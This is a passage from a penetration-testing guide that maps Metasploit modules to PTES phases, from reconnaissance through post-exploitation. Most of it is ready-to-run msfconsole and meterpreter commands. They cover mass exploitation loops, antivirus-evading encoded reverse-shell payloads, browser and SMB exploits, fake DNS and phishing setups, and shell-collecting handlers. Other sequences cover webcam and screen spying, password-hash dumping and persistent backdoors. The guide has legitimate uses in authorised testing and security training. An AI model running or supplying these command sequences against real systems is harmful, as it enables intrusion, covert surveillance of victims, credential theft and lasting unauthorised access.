irb > framework.db.workspace.hosts.each do |h|
irb > driver.run_single("set RHOST #{h.address}")
irb > driver.run_single("exploit")
irb > sleep 1
irb > end
```

Short, sweet, and to the point. A bit noisy, but be sure to set up your multi/handler prior to this, so that it catches the shells on the fly. Setting up a multi/handler to sit and collect shells is discussed later in this document.

It is important to note some slight nuances in the irb API vs resource scripts. Within irb, you must prepend "driver." to your run_single and related methods. Within resource scripts, this isn't needed.

Wifi and Metasploit

Metasploit has no inherent functionality for cracking WEP or WPA/2 (look at hashcat). It does, however, interface with lorcon, giving it interesting and neat capabilities with Wifi cards. Modules that take advantage of this functionality are discussed in later sections in more detail.

There are also some incredibly neat post-exploitation modules recently put out by David 'thelightcosine' Maloney dealing with wireless networks, which allow wireless discovery during the post-exploitation phase, rather than during a physical engagement. Look at post/windows/wlan/*.

For an example:

```
msf > use post/windows/wlan/wlan_profile
msf  post(wlan_profile) > set SESSION 1
msf  post(wlan_profile) > run
```

This module gets you all the saved profiles in Windows. This works very well for people who take there laptops everywhere (like C?Os and consultants who ride planes for a living).

Brute Force

There is more bruteforcing going on in Metasploit than meets the eye. Some exploits use brute force to exploit buffer overflows and low-bit cookies. Some modules perform bruteforce attacks for authentication, or to gather DNS information. PTES only discusses authentication bruteforcers, but there are many other techniques that require bruteforcing than just authentication and Metasploit covers all of them.

For an example of bruteforcing in a non-authentication manner, you may look at the

proftp_telnet_iac module. Due to the nature of the bug being exploited on Ubuntu, there are ways to gain remote access via bruteforcing a cookie value via a buffer overflow. From the module:

> **By making repeated requests, an attacker can eventually guess the cookie value and exploit the vulnerability. The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness and could allow exploitation in semi-reasonable amount of time.**

This does, however, take a very long time and is very noisy. Not recommended except for a last resort.

Another example of bruteforcing is the brute_dirs module. It creates strings in a manner to bruteforce hidden directories on a web server, as opposed to a dictionary-based attack like in dir_scanner.

```
msf > use auxiliary/scanner/http/brute_dirs
msf  auxiliary(brute_dirs) > set RHOSTS 192.168.1.146
msf  auxiliary(brute_dirs) > run
```

Anti-Virus

When you go into the talk of anti-virus, you have to consider that we now have to face heuristics based malware scanners, not just signature based. This means that you can encode all you want, but that still won't change the **behaviour** of your payload. You are still running VirtualAlloc(RWX) or still listening for a bind on port 4444, the AV doesn't care what your code looks like, it is what you are doing. In these cases, tools like msfvenom and msfencode can't help much. Things that may help you beat heuristics engine are changing default ports for binds, or getting shell and upgrading to meterpreter in-memory, rather than sending a meterpreter payload on first try.

However, this does not mean encoding is a fruitless endeavour. When you are faced with a signature-based AV, the encoding and binary randomization when creating the payloads in Metasploit is the best way to go and it never hurts to do it anyway. I would like to mention that I have rarely seen Symantec products catch vanilla payloads.

To generate a vanilla payload, you would simply use msfpayload:

```
msfpayload windows/meterpreter/reverse_http LPORT=4567 LHOST=192.168.1.146 X > vanilla.exe
```

If you need to encode the payload however, msfencode will take your payload through a pipe. msfencode is very powerful and allows you much more wiggle room when creating your payload. You do have to change up your arguments for msfpayload. Instead of using X (for PE files), you must use R (which means raw output).

```
msfpayload windows/meterpreter/reverse_http LPORT=4567 LHOST=192.168.1.146 R | msfencode -a x86 -c 25  -e x86/shikata_ga_nai -t exe -o encoded.exe
```

The results are as follows:

```
root@w00den-pickle:~/tools/metasploit# du -sh ./*exe
76K     ./encoded.exe
76K     ./vanilla.exe
```

```
root@w00den-pickle:~/tools/metasploit#
```

You may also look into msfvenom, a fusion of both msfpayload and msfencode that many Metasploit users prefer.

You also have the option of injecting payloads directly into memory, never touching the disk. This is incredibly useful against evading AV and malware scanners. You also don't have to clean up dropped exe's when they are memory-resident.

```
msf > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 127.0.0.1 -p 80
```

This command was brought to my attention by Rob 'mubix' Fuller at DerbyCon 2011 during this talk.

Protocols

The PTES mentions a wide range of protocols you should be testing for during an engagement. While Metasploit has excellent facilities for more standard protocols, it is lacking in special, proprietary protocols. The following have no implementations with Metasploit. Consider this a TODO list for the reader. ;)

```
CDP    -- Cisco Discovery Protocol
HSRP   -- Hot Standby Router Protocol
VSRP   -- Virtual Switch Redundancy Protocol
STP    -- Spanning Tree Protocol
OSPF   -- Open Shortest Path First
RIP    -- Routing Information Protocol
VTP    -- VLAN Trunking Protocol
```

VLAN hopping

VLAN hopping is done due to weaknesses in the QinQ protocol. No modules exist to take advantage of these weaknesses. You may read more and figure out a neat way to implement this on the Wikipedia page.

VLAN hopping is advantageous, for instance, at places with public wifi such as Starbucks, or hotels. Many public access points implement VLANs to help secure and protect the users of the network. VLAN hopping allows you to dig deeper into the network than the network admins intended by forging and altering the QinQ packets being sent to the access point. You can almost think of it as pivoting between VLANs.

DTP

DTP is the Dynamic Trunking Protocol, a proprietary protocol developed by Cisco. No discovery facilities are available in the framework for this protocol. There is one module, however, that may be of use to you if you run into this protocol during an engagement:

```
msf  > use auxiliary/spoof/cisco/dtp
```

```
msf  auxiliary(dtp) > set SMAC 3C:75:4A:EF:1F:A5
msf  auxiliary(dtp) > run
```

Attacking The User

DNS

DNS can be a rich resource of information on a LAN. It gives you an idea of how the network may be laid out, how it is used, and where it is being used. The following modules will be of great use to those who deal with DNS often during engagements.

The following fakedns module gives you the ability to redirect all DNS queries to a certain address, and define addresses that are allowed to pass through. This is heavily used in conjunction with browser_autopwn:

```
msf > use auxiliary/server/fakedns
msf  auxiliary(fakedns) > set SRVHOST 192.168.1.146
msf  auxiliary(fakedns) > run
```

The following module is a very neat hack for Wifi networks, especially ones with slow and congested wireless routers. It enables the attacker to “replace” DNS queries with his or her own by creating a race condition with the victim’s DNS queries:

```
msf > use auxiliary/spoof/wifi/dnspwn
msf  auxiliary(dnspwn) > set RHOST 192.168.1.146
msf  auxiliary(dnspwn) > run
```

dnspwn requires the Lorcon2 module to be installed and configured correctly with Metasploit in order to function.

Bluetooth

The only mention of bluetooth in the source tree for Metasploit is a header file from libpcap. There are many devices out there such as cell phones, keyboards, mice, and headphones that send and receive data from the victim machines via bluetooth. Being able to tap into these devices from Metasploit would be pure gold. Currently, nothing exists in the framework to utilize poor bluetooth security.

Here is an example: You gain access to a machine, but the victim’s owner is currently using it. He uses bluetooth to sync his Outlook contacts to his phone. Why should you not be able to take advantage of this, and perhaps see if you can read all of the contacts off his phone?

Another example: You gain access to a customer service department. They all use bluetooth headsets connected to their computers to talk with the customers. Recording these calls should be easy.

Rogue AP

No functionality exists within the framework to create and manage rogue AP’s. However, this should be a good starting point to anyone who wants to take on this feat:

```
msf > use auxiliary/dos/wifi/fakeap
msf  auxiliary(fakeap) > run
```

fakeap can create thousands of fake access points using your wifi card. This module requires the Lorcon2 module to be installed and configured correctly.

Web

Web exploits can take many different forms. Some aren't even technically web exploits, but exploits in the web browser, in Java (tons), or in Flash. Metasploit has a section within the source tree specifically for these types of exploits. You may use an amalgamation of these within the browser_autopwn module, which is discussed in later sections. You may also use them independently.

SQLi

Metasploit won't find SQL injections for you. A very nice tool called sqlmap has Metasploit integration (covered in a previous section) and allows you to utilize the framework via SQL injections when applicable.

There are a few modules out there though that do help you *exploit* SQL injections. The following module will try to drop a payload via an MS-SQL injection with the correct privileges:

```
msf > use exploit/windows/mssql/mssql_payload_sqli
msf  exploit(mssql_payload_sqli) > set RHOST 192.168.1.146
msf  exploit(mssql_payload_sqli) > set GET_PATH /index.asp?id=[SQLi]
msf  exploit(mssql_payload_sqli) > exploit
```

There are also modules within the framework that allow you to escalate privileges in the context of a web application user via SQL injections. These auxiliary modules are written specifically for the Oracle DBMS. An example usage of a more common module is as follows:

```
msf > use auxiliary/sqli/oracle/dbms_export_extension
msf  auxiliary(dbms_export_extension) > set RHOST 192.168.1.146
msf  auxiliary(dbms_export_extension) > run
```

This is an example of an auxiliary module that takes an RHOST rather than a list of hosts via RHOSTS. The auxiliary/sqli/oracle/* modules also require the oci8 library to be installed and configured correctly with the Metasploit Framework.

Sometimes you run into websites that are based on popular open source CMS's such as WordPress or Drupal. Many times, companies will have custom-written plugins or modules to go along with the rest of their website. This custom code can be more susceptible to SQLi than the core framework. I recently wrote a module to take advantage of this for WordPress-specific websites. The following module will utilize an arbitrary SQLi found by the user to dump the

usernames and password hashes for a WordPress-based website:

```
msf > use auxiliary/sqli/wordpress/phpass_hash_enum
msf auxiliary(phpass_hash_enum) > set URL www.example.com
msf auxiliary(phpass_hash_enum) > set URI /vulnerable_wordpress_module.php?id=7[SQLi]
msf auxiliary(phpass_hash_enum) > run
[*] Found 4 users... Enumerating usernames and password hashes.
[...]
admin    $P$BEsV.Lbq3QlzlFobCwdFhMElDQlhyc0
[...]
```

This module is not currently part of the framework. You may get it here:

http://files.volatileminds.net/misc/phpass_hash_enum.rb

Cross Site Scripting

There are a few browser exploits that rely on XSS as its vulnerability to exploit. These can range from Opera to IE, to web applications such as WebEx. The following is an example run of the Opera History Search XSS vulnerability and exploit in action:

```
msf > use exploit/multi/browser/opera_historysearch
msf  exploit(opera_historysearch) > set LHOST 192.168.1.146
msf  exploit(opera_historysearch) > exploit
```

It is simple. The module creates a web server on your local machine listening on the IP address you specify in LHOST. Point your victims to the file generated on the web server and watch your shells flow in.

Cross Site Request Forgery

No modules exist within the Metasploit Framework to help in identifying and exploiting CSRF vulnerabilities. Modules that take advantage of these vulnerabilities wouldn't be difficult to implement, but as of this writing, nothing has come to fruition. If one were to feel the need to look into making some modules for this type of vulnerability, the above XSS modules may be of use as a basis for your new modules.

Types of attacks

Client Side

There are a good number of browser exploits within Metasploit. The ease of starting a quick server with the content needed to exploit the remote machine is as simple is this:

```
msf > use auxiliary/server/browser_autopwn
msf  auxiliary(browser_autopwn) > set SRVHOST 192.168.1.146
msf  auxiliary(browser_autopwn) > set SRVPORT 8080
```

```
msf  auxiliary(browser_autopwn) > set LHOST 192.168.1.146
msf  auxiliary(browser_autopwn) > set LPORT 4567
msf  auxiliary(browser_autopwn) > run
```

SRVHOST and SRVPORT are the IP address and port that the web server will be listening on. LHOST and LPORT are used in conjunction with the payload.

browser_autopwn may however be over-kill, catching on an IDS, or maybe even a network quirk. You can try each single browser exploit individually, if you would like:

```
msf > use exploit/windows/browser/
Display all 145 possibilities? (y or n)
```

Phishing

One module in the source tree helps automate phishing attacks. The auxiliary/client/smtp/ emailer module allows you to send predefined emails to predefined addresses (generally with a payload).

```
msf > use auxiliary/client/smtp/emailer
msf  auxiliary(emailer) > set MAILFROM pwned@rapid7.com
msf  auxiliary(emailer) > set RHOST 192.168.1.132
msf  auxiliary(emailer) > set PASSWORD pwnz0red
msf  auxiliary(emailer) > set  USERNAME pwnz0red
msf  auxiliary(emailer) > set YAML_CONFIG /root/emailer_config.yaml
msf  auxiliary(emailer) > run
```

Generally though, I jump straight to the Social Engineer Toolkit, written by David 'Rel1k' Kennedy. You can find more information on this at www.secmaniac.com.

Service side

Service side exploits are Metasploit's specialty. Hundreds of exploits affecting services spanning many years of development have made it an exploit database in its own right. Here is the infamous MS08-067 bug in SMB in action:

```
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set RHOST 192.168.1.123
msf  exploit(ms08_067_netapi) > set LHOST 192.168.1.146
msf  exploit(ms08_067_netapi) > set LPORT 4567
msf  exploit(ms08_067_netapi) > exploit
```

Infrastructure Analysis

Infrastructure analysis is beyond the scope of Metasploit at the moment. At a very high level,

Metasploit can paint an excellent picture of your network, but full infrastructure analysis is left for other tools (or meetings, blegh).

VPN Detection

No facilities exist inherently in Metasploit that bring it ikescan-esque functionality. This is a weak spot that could easily be fixed. However, db_nmap can solve any service-discovery needed during an engagement, and then it's results can be viewed later afterwords:

```
msf > db_nmap -p1723 192.168.1.0/24
```

Route detection, including static routes

No route detection/enumeration functionality exists inherently within the framework. This isn't really a bad thing, as it would be simply duplicating functionality within nmap. nmap integration with Metasploit is so tight that it would be a waste of time, in my opinion, to try and recreate the functionality independent of nmap. Rapid7 also licenses out nmap already, so if it is there, might as well use it:

```
msf > db_nmap --traceroute 192.168.1.0/24
msf > hosts
```

The aformentioned command will run a traceroute over the subnet and save the information into your hosts for later viewing.

Network Protocols in use

There are many auxiliary modules that will help you in enumerating the protocols in use on the network. Between nmap, and the auxiliary modules, you should be able to get a very clear picture of the type of information being sent through the network, how it is being sent, and where. From IPv6 to DCERPC to UDP, you have a wide selection of scanners to choose from when trying to find out what is operating on the network. While some proprietary protocols are MIA within the framework, many modules exist for standard and not-so-standard protocols.

As a rather archaic example, here is a module used to identify the finger protocol:

```
msf > use auxiliary/scanner/finger/finger_users
msf > set THREADS 50
msf > set RHOSTS 192.168.1.0/24
msf > run
```

Be sure to also look at the THREADS option within many of the scanner modules. Setting 50 threads for one host is useless. 50 threads for 100 hosts, however, is a great speedup and time saver. THREADS can behave differently on Windows vs Linux. Linux can handle a lot of THREADS, Windows can not. Keeping this in mind will help keep you from /headdesk'ing during an engagement.

Proxies in use

Network Level

Proxies allow you to reach around firewalls, or to obfuscate yourself so that your actions appear to be coming from elsewhere. The Metasploit Framework has the ability to discover open HTTP proxies and poorly configured reverse proxies on the network:

```
msf > use auxiliary/scanner/http/open_proxy
msf  auxiliary(open_proxy) > set RHOSTS 192.168.1.0/24
msf  auxiliary(open_proxy) > run
```

The following module works best against Apache servers with poorly configured mod_rewrite reverse proxies:

```
msf > use auxiliary/scanner/http/rewrite_proxy_bypass
msf  auxiliary(rewrite_proxy_bypass) > set RHOSTS 192.168.0.1/24
msf  auxiliary(rewrite_proxy_bypass) > run
```

Application Level

No scanners or post modules exist currently within the framework that tell you if a given application on a victim's computer is running through a proxy. This would be difficult to implement as an application may have a locally set proxy that is application-specific, or may be using an operating system level proxy. The latter would be much easier to identify and report on.

Video Cameras

The Metasploit Framework relies very heavily on functionality exposed by nmap. There is no inherent functionality of detecting specifically IP cameras on a network. Analog cameras are out of the question, in terms of discovery and exploitation by the framework. Using nmap, you should be able to map out IP cameras and general physical locations via --traceroute. A general footprint for IP cameras are port 80 or 443 being open, and a small Linux-based OS running. Utilizing OS detection and specific ports, locating and exploiting IP cameras (poor/no authentication for example), and being able to work around them is functionality left to nmap.

Audio Capture

The Metasploit Framework has great ties with WarVOX, a project developed by HDM to wardial phone numbers and record any audio that results from this. One module, in particular, is of great use. The following module allows you to wardial a predefined set of phone numbers via an IAX (probably Asterisk) server, and record the audio of the VoIP call:

```
msf > use auxiliary/scanner/voice/recorder
msf  auxiliary(recorder) > set TARGETS 12223456,12224567,12225678,12226789
msf  auxiliary(recorder) > set IAX_HOST 192.168.1.123
msf  auxiliary(recorder) > set OUTPUT_PATH ~/recorded_calls
msf  auxiliary(recorder) > run
```

Functionality lacking in this module, however, is the ability to wardial *extensions*.

Another vector of attack mentioned in the PTES documents is using a victim's microphone to record audio. No functionality exists with the Metasploit Framework to bring this module to life. I imagine its implementation would be very similar to the webcam functionality in meterpreter.

Video Capture

The PTES doesn't go into this aspect of reconnaissance much. This can be a great way to see the network environment and general workflows without even being on the physical network. Modules and payloads exist to utilize the iSight webcam on Mac's, or generic webcams via Windows.

The following payload will help in using a Mac's iSight webcam via an exploited application or service:

```
msf > use exploit/osx/http/evocam_webserver
msf  exploit(evocam_webserver) > set PAYLOAD osx/x86/isight/reverse_tcp
msf  exploit(evocam_webserver) > set RHOST 192.168.1.132
msf  exploit(evocam_webserver) > set LHOST 192.168.1.146
msf  exploit(evocam_webserver) > exploit
```

meterpreter has built-in functionality for using a victim's webcam to spy on the victim's surroundings:

```
meterpreter > webcam
meterpreter > webcam_list
meterpreter > webcam_snap
```

Alternatively, you may use the screen_spy post module to snap pictures of and record a victim's virtual desktop:

```
msf  > use post/windows/gather/screen_spy
msf  post(screen_spy) > set SESSION 1
msf  post(screen_spy) > run
```

Database Enumeration

Database owning and enumeration is generally done with other tools (sqlmap, for instance). However, the framework does expose functionality that enables basic database enumeration and owning.

The following modules were written by Scott Sutherland at NetSPI to enumerate information such as credit card and social security numbers, and all sorts of interesting and useful info from the database. The module and scripts require a bit of hand-editing to find exactly what you want, and that is beyond the scope of this document. You can learn more about the post module and related code here:

http://www.netspi.com/blog/2011/11/14/when-databases-attack-find-data-on-sql-servers/

Source Code and File Repositories

SVN

This is a common source code repository. It is free, open source, and easy to configure and use. Clients for this repository are available for both Linux, Mac OSX, and Windows, and is generally easily integrated with major IDE's such as Visual Studio and X-Code.

```
msf > use auxiliary/scanner/http/svn_scanner
msf  auxiliary(svn_scanner) > set RHOSTS 192.168.1.0/24
msf  auxiliary(svn_scanner) > run
```

WebDAV

Per Wikipedia, **Web-based Distributed Authoring and Versioning** (**WebDAV**) is a set of methods based on the Hypertext Transfer Protocol (HTTP) that facilitates collaboration between users in editing and managing documents and files stored on World Wide Web servers.

Many companies utilize WebDAV for file and information sharing across their company. This can be a haven for information on how business is done within the company.

```
msf > use auxiliary/scanner/http/webdav_scanner
msf  auxiliary(webdav_scanner) > set RHOSTS 192.168.1.0/24
msf  auxiliary(webdav_scanner) > run
```

WebDAV configurations are also astonishingly easy to mess up and do insecurely. Many companies will simply leave WebDAV shares wide open so that it is easiest to use by employees. WebDAV can be an easy way to get shell on a server within the network.

```
msf > use exploit/windows/iis/iis_webdav_upload_asp
msf  exploit(iis_webdav_upload_asp) > set RHOST 192.168.1.146
msf  exploit(iis_webdav_upload_asp) > exploit
```

CVS and MS SourceSafe

Nothing exists within the framework to detect these two source code repositories. CVS and MS SourceSafe are both outdated repositories with many free and open-source alternatives light-years ahead in functionality. While patches are of course welcome, I doubt any real work will go into detecting these repositories by any core devs.

Harvesting Your Shells

You just sent out a mass email to the company with SET and each email has a link to your payload. You need to catch all these shells and Metasploit makes that easy as cake (and this cake is no lie):

```
msf > use multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
msf  exploit(handler) > set LPORT 4567
msf  exploit(handler) > set LHOST 192.168.1.146
msf  exploit(handler) > set ExitOnSession false
msf  exploit(handler) > exploit -j
```

```
msf  exploit(handler) > jobs
```

Your handler will sit there and collect shells until you stop it. It is running as a job (-j) and setting ExitOnSession to false means it won't shut down after it creates a session. The payload that creates the session is the same (encoded) payload I created earlier. Now just sit back and watch the shells flow in.

4. Post-exploitation

(http://www.pentest-standard.org/index.php/Post_Exploitation)

You have exploited a flaw in the client's infrastructure. Using your encoding techniques, plus some chicken blood and fire, you got a shell in the network.

The Metasploit post-exploitation API is very rich and powerful. Combined with Railgun, you can control the entire system from meterpreter. Credential and hash dumping from registry hives and applications, stealing cookies, or even BitCoin .wallets is available via post modules. The post-exploitation phase is all about information gathering. A penetration test is not a start and end type of engagement. It is circular. Metasploit was built for information gathering. It is, however, lacking in some areas. These are called out and suggestions for post-modules to cover these deficiencies will be made (or even written!).

Efficiency in Post-Exploitation

Post exploitation can be quickly automated with the framework and IRB/ERB. Now you don't have to sit there and manually run the module against each session:

```
msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
irb > framework.sessions.count.each do |session|
irb > driver.run_single("set SESSION #{session.first}")
irb > driver.run_single("run")
irb > sleep 1
irb > end
```

You may also be selective in the sessions you want to run post modules on. It isn't uncommon to have sessions ranging from Mac OSX, to Red Hat, to Windows Server 2003. Running a post module against each session in this case would fail. The following is small hack based on Jonathan's:

```
msf> use post/windows/gather/enum_domain_tokens
msf enum_domain_tokens> irb
irb > framework.sessions.count.each do |session|
irb > next if session.platform !~ /Windows/ #skip platforms that aren't windows
irb > driver.run_single("set SESSION #{session.first}")
irb > driver.run_single("run")
irb > sleep 1
irb > end
```

List Applications

If we can't get privilege escalation via normal (getsystem) means, we must look for other means of getting SYSTEM. post/windows/gather/enum_applications shows you the applications installed on the victim, and you may search Metasploit directly for the applications you find, or search other exploit databases on the internet:

```
msf > use post/windows/gather/enum_applications
```

```
msf  post(enum_applications) > set SESSION 1
msf  post(enum_applications) > run
```

Seeing what applications are on the computer may give you insight into how the computer is used, what it needs to talk to, and if the company uses any custom-written software. This can aid in **Target Selection**.

You may also run post modules directly from meterpreter:

```
meterpreter> run post/windows/gather/enum_applications
```

You may not get shell on a Windows box however. Many of Metasploit's modules focus on Windows, but all hope isn't lost for Linux. To enumerate currently installed packages, for instance:

```
msf  > use post/linux/gather/enum_packages
msf  post(enum_packages) > set SESSION 1
msf  post(enum_packages) > run
```

List Drivers and Devices

Device drivers have security holes as well. PTES never mentions this but it can be very handy when you can execute code via a driver bug in Ring 0. Look at post/windows/gather/enum_devices. This module takes a very long time to run, it is recommended to run it as a background job while you perform other tasks:

```
msf > use post/windows/gather/enum_devices
msf  post(enum_devices) > set SESSION 1
msf  post(enum_devices) > run
```

This will surely get you SYSTEM if you don't have it already. This driver was installed on most Dell laptops (and probably others) from 4-5 years ago:

```
msf > use exploit/windows/driver/broadcom_wifi_ssid
msf  exploit(broadcom_wifi_ssid) > run
```

List Services

Services give you an idea of what is running on the computer that Task Manager isn't telling you about. Services can give a great deal of info on what the computer is used for and how you should look into exploiting it further:

```
msf > use post/windows/gather/enum_services
msf  post(enum_services) > set SESSION 1
msf  post(enum_services) > run
```

For a Linux box, you would run:

```
msf > use post/linux/gather/enum_servicmsf  post(enum_services) > set SESSION 1
msf  post(enum_services) > run
```

List Shares

You may list two types of shares actually within Metasploit. Local ones, (F:, H:, Z:) and remote (\\serverwiththepasswords):

```
msf > use post/windows/gather/enum_shares
msf  post(enum_shares) > set SESSION 1
msf  post(enum_shares) > run
```

To get a list of shares available on the network from the perspective of the victim, you may use the netdiscovery module written by mubix.

```
msf > use post/windows/gather/netdiscovery
msf  post(netdiscovery) > set SESSION 1
msf  post(netdiscovery) > run
```

I should mention that the netdiscovery module utilizes the Railgun API to do its bidding. Railgun allows Metasploit to talk to the Windows API on the victim one-to-one via post-modules that are written in Ruby. Some excellent work has been done by chao-mu and thelightcosine to really beef Railgun up and solidify its standing within the framework.

Password and Credential Collection

PTES talks about getting IM client and web browser credentials, but why stop there? Metasploit offers far more password (hash) dumping options. Outlook (every business uses outlook), WinSCP, VNC, and a slew of others are easily dumped.

The hashdump modules for Windows and Linux dump the local users hashes from Metasploit. Obviously, they use two different mechanisms for dumping the hashes. The Linux hashdump must be run as root and will grab the information from /etc/passwd and /etc/shadow.

```
msf  > use post/linux/gather/hashdump
msf  post(hashdump) > set SESSION 1
msf  post(hashdump) > run
```

The Windows hashdump is far more complicated, as it actually decrypts the hashes out of the SAM file.

```
msf  > use post/windows/gather/hashdump
msf  post(hashdump) > set SESSION 1
msf  post(hashdump) > run
```

Another option for credentials on the domain level is cachedump. It is Windows-only, and extracts the stored domain hashes that have been cached as a result of a GPO setting. The default setting on Windows is to store the last ten successful logins.

```
msf  > use post/windows/gather/cachedump
msf  post(cachedump) > set SESSION 1
msf  post(cachedump) > run
```

A module that sort of melds cachedump and hashdump together is smart_hashdump. This will dump local accounts from the SAM hive. If the target host is a Domain Controller, it will dump

the Domain Account Database using the proper technique depending on privilege level, OS and role of the host. This one is thanks to Carlos 'Darkoperator' Perez.

```
msf  > use post/windows/gather/smart_hashdump
msf  post(smart_hashdump) > set SESSION 1
msf  post(smart_hashdump) > run
```

Poor Passwords

The Metasploit Framework is shipped with many username/password lists. Each list has a corresponding module for bruteforcing. See data/wordlists/ within the framework root.

You may also use one of the many JtR modules written for Metasploit that attempt to crack a given set of hashes.

```
msf > use auxiliary/analyze/jtr_linux
msf  auxiliary(jtr_linux) > run
```

When you perform certain post modules, such as hashdump, the hashes are stored in the database (loot) when possible. This is where the JtR modules will look for these hashes.

For LM/NTLM hashes captured with the Windows hashdump, you may use the following:

```
msf > use auxiliary/analyze/jtr_crack_fast
msf  auxiliary(jtr_crack_fast) > run
```

However, for extensive use, the reader should use JtR outside of Metasploit. It has a lot of functionality not exposed through modules.

History/Logs

Linux

To be perfectly honest, the post-exploitation module-set for Linux hosts is really lacking. Part of this could be due to the strength of the shell you get right out of the box on Linux hosts, allowing you much more functionality out of your shell than, say, a Windows command prompt. This shouldn't be an excuse, however. For full integration with the framework, many functions of the shell could easily be implemented as post modules and saved to the database for later processing.

Post modules to collect files of interest such as ~/.bash_history, ~/.ssh/, known_hosts, .bashrc, etc.. would be immensely useful if integrated into the framework via loot. In a later section, I will supply resources to help bridge this gap in Metasploit. However, simply bridging this gap with duct tape isn't a very fruitful way of dealing with the problem. Techniques described in later sections for bridging these gaps should be implemented within post modules if at all possible. Integration with the framework is key to having a fluid, straight-forward idea of exploiting your target later.

Windows

No Windows post modules allow for the dumping of event history or past commands. Part of

this is due to lack of inherent functionality within Windows itself. Windows does not save past commands across shell sessions like Linux does. If you happen across an open prompt, you may use the '**doskey /history**' command to view past commands in that prompt session, but that is as close as you will get.

There are options, however, to bridge this gap. See dumpel.exe on this page:

http://support.microsoft.com/kb/927229

A good thing about the executables above is that AV won't detect these as malware. They are typical systems administrator utilities (put out by Microsoft no less). Dumping the event logs into loot would be an excellent endeavour for a post module.

Backups

Only one module in the framework actively loots backups. This module is very handy, the type of backups it loots are Apple iOS backups, which are of great importance. These backups contain tons of useful information.

```
msf > use post/windows/gather/apple_ios_backup
msf  post(apple_ios_backup) > set SESSION 1
msf  post(apple_ios_backup) > run
```

There are a few options you may play with within the module, to gather more information at the expense of taking longer to gather. By default, the module gathers associated databases and preference lists. You may enable the module to collect images (via the IMAGES option) stored in the backup, or simply set the EVERYTHING option to true to gather everything the backup has to offer. This is the slowest option of all.

Another useful module pertaining to backups allows you to exploit a logic flaw and dump arbitrary files from the Veritas Backup Exec Agent:

```
msf  > use auxiliary/admin/backupexec/dump
msf  auxiliary(dump) > set RHOST 192.168.1.123
msf  auxiliary(dump) > run
```

There are also modules that exploit backup systems such as Veritas NetBackup:

```
msf > use exploit/multi/misc/veritas_netbackup_cmdexec
msf  exploit(veritas_netbackup_cmdexec) > set RHOST 192.168.1.154
msf  exploit(veritas_netbackup_cmdexec) > set RPORT 6543
msf  exploit(veritas_netbackup_cmdexec) > exploit
```

Persistence

The Metasploit Framework comes with a persistent backdoor called metsvc. Be careful with this tool during engagements, as it opens up backdoors for anyone, not just you. This enables you to connect back to your victim from the framework if s/he reboots the computer or loses network connectivity for an arbitrary reason:

```
msf > use exploit/multi/handler
```

```
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 4567
msf exploit(handler) > set RHOST 192.168.1.132
```

Learn more about metsvc in the Metasploit Unleashed wiki:
http://www.offensive-security.com/metasploit-unleashed/Interacting_With_Metsvc

Other Post-Exploitation Resources Related to Metasploit

The following links go beyond the scope of this document in terms of post-exploitation. Much of the topics discussed within the following documents go over functionality lacking within Metasploit. Many of the techniques and concepts within these documents could easily be made into post modules. This should be considered a TODO list for the reader and Metasploit developers who want to get their hands dirty in some code. Post modules are one of the easiest modules to get started on in the framework. This would be an excellent starting place for a beginner looking to learn the ins-and-outs of the framework:

https://docs.google.com/document/d/1ObQB6hmVvRPCgPTRZM5NMH034VDM-1N-EWPRz2770K4/edit?hl=en_US -- linux/unix/bsd post exploitation

https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit?hl=en_US -- windows post exploitation

These resources are managed by Rob ‘mubix’ Fuller. If you have any issues with them, please contact him -- mubix@hak5.org.

5. Conclusion

Throughout this document, I have tried to pinpoint the areas where the Metasploit Framework can be applied to the PTES guidance. The Metasploit Framework is absolutely the go-to framework when you need to test vulnerabilities and develop exploits. Its library of scanner modules leaves little wanting, and fully covers most standard protocols and some proprietary protocols. Developing new modules is easy and generally pain-free.

The framework's vast libraries implementing standard protocols, low-level packet munging, stack buffer overflow and heap overflows vulnerabilities, and much more to find, research, and exploit vulnerabilities far easier than ever before.

There are other sections of the PTES guidelines that could be implemented within the framework that are not currently. VoIP is mentioned in the document as needing work in the framework, as well as post-exploitation methods and techniques (especially on the Linux side of post-exploitation). The framework exposes the functionality to implement modules that take advantage of these, but are not yet available and could use contributions.Proprietary protocols are another example area that could use work.

I hope this document can help provide direction later on to users or developers of the framework who want to help and contribute to strengthening Metasploit's position within the security community. The Metasploit Framework is very large and can be very complex. Simply groking the framework can be a major hurdle for those unfamiliar with common security practices, Ruby, or general open-source contributions.

This document is and always will be available for free. However, if you feel some monetary donation is in order, or you feel this document has had a positive effect on the way you perform penetration tests, feel free to donate. Ten bucks gets me a gyro, side of onion rings, and a bottle of water at one of my favorite restaurants, and leaves a bit of change for coffee the next morning.

Feel free to contact me at bperry.volatile@gmail.com

Shout outs: Thanks to jcran, humble-desser, Darkoperator, thelightcosine, mubix, hdm, chao-mu, Rel1k, and carnal0wnage for helping me either directly or indirectly with research for this paper.